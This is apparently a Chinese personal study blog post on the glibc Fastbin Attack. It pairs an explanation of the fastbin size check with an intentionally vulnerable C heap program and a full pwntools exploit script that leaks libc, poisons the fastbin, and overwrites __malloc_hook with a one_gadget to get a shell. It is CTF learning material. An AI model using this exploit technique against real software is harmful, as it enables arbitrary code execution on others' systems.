【我的 PWN 学习手札】Fastbin Attack
关于fastbin,有很多攻击利用手法,本篇只是讲述了修改fd指针,分配到fake_chunk,更多利用手法拆分到后面的博客中
目录
前言
一、Fastbin保护检查机制
二、利用手法
(1)分配到任意地址(__malloc_hook周边)
(2)one_gadget失效时,__realloc_hook调整栈帧
(3)通过malloc报错调用malloc调整栈布局
三、调试过程、代码及模板
前言
Fastbin Attack主要是利用了Fastbin单链表管理,如果能够利用UAF等漏洞,将Fastbin链表上的free chunk的fd写数据,即可实现任意地址分配,进而实现任意地址读写
一、Fastbin保护检查机制
本篇涉及到的保护机制只有一个:取出的fastbin chunk,size应该在对应取出的fastbin范围内
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
/* Get size, ignoring use bits */
#define chunksize(p) ((p)->size & ~(SIZE_BITS))
/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
idx = fastbin_index(nb);
...
/* Get size, ignoring use bits */
#define chunksize(p) ((p)->size & ~(SIZE_BITS))
if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0)) {
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr(check_action, errstr, chunk2mem(victim), av);
return NULL;
}
二、利用手法
(1)分配到任意地址(__malloc_hook周边)
通过修改free chunk的fd指针造成分配到任意地址, 需要满足size条件。
通过任意地址写来利用getshell,劫持hook是常用的手法。然而需要满足size这一条件,考虑到__free_hook周围满足条件的情况比较少,而libc或栈多数以0x7f开头,所以__malloc_hook周围实际上有合适的size——我们可以通过字节错位,来满足size=0x000000000000007f,落在size=0x70的fastbin中——实际上,一个合适的错位chunk位置在&__malloc_hook-0x23的位置
如果有分配到其他位置的情况,我们依旧可以用pwndbg的find_fake_fast来帮我们快速找到适合的fake_chunk位置
正常情况下:
通过uaf或其他漏洞修改fd后:
这时候(上述图例中)第三次malloc 0x70大小的chunk,就会分配到fake_chunk
(2)one_gadget失效时,__realloc_hook调整栈帧
当one_gadget时效时,意味着栈布局不满足条件,为此我们可以利用&__malloc_hook-0x8的__realloc_hook来调整栈帧:
这里所说的realloc+偏移是指:每个函数都有保存调用现场的操作,称为函数序言,所做的就是将各寄存器压栈,如果我们跳过几个push语句,那么栈的布局就发生了改变。
(3)通过malloc报错调用malloc调整栈布局
只是了解到有这种方法,但是没有实际遇到过
三、调试过程、代码及模板
释放一个0x70size的chunk
uaf将该chunk的fd修改为fake_chunk的地址
malloc两次得到将该fake_chunk那到,修改malloc_hook为one_gadget
再次malloc触发__malloc_hook
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
char *chunk_list[0x100];
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
while (1) {
menu();
switch (get_num()) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
}
}
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
context.arch=elf.arch
context.log_level='debug'
io=process('./pwn')
def add(index,size):
io.sendlineafter(b'choice:\n',b'1')
io.sendlineafter(b'index:\n',str(index).encode())
io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
io.sendlineafter(b'choice:\n',b'2')
io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
io.sendlineafter(b'choice:\n',b'3')
io.sendlineafter(b'index',str(index).encode())
io.sendlineafter(b'length:\n',str(length).encode())
io.sendafter(b'content:\n',content)
def show(index):
io.sendlineafter(b'choice:\n',b'4')
io.sendlineafter(b'index:\n',str(index).encode())
# leak libc
add(0,0x100)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))+0x7c1ab1200000-0x7c1ab159bb78
success(hex(libc_base))
# Fastbin Attack
target_addr=libc_base-0x7c1ab1200000+0x7c1ab159baed
add(0,0x68)
delete(0)
edit(0,0x8,p64(target_addr))
add(0,0x68)
add(0,0x68)
# one_gadget
'''
0x3f3e6 execve("/bin/sh", rsp+0x30, environ)
constraints:
address rsp+0x40 is writable
rax == NULL || {rax, "-c", rbx, NULL} is a valid argv
0x3f43a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
0xd5c07 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
'''
# edit(0,0x13+0x8,b'a'*0x13+p64(libc_base+0xd5c07)) #正常__malloc_hook
edit(0,0x13+0x8,b'a'*(0x13-0x8)+p64(libc_base+0x3f43a)+p64(libc_base+libc.sym['realloc']+9)) #用_realloc_hook调整栈帧
add(0,0x10)
io.interactive()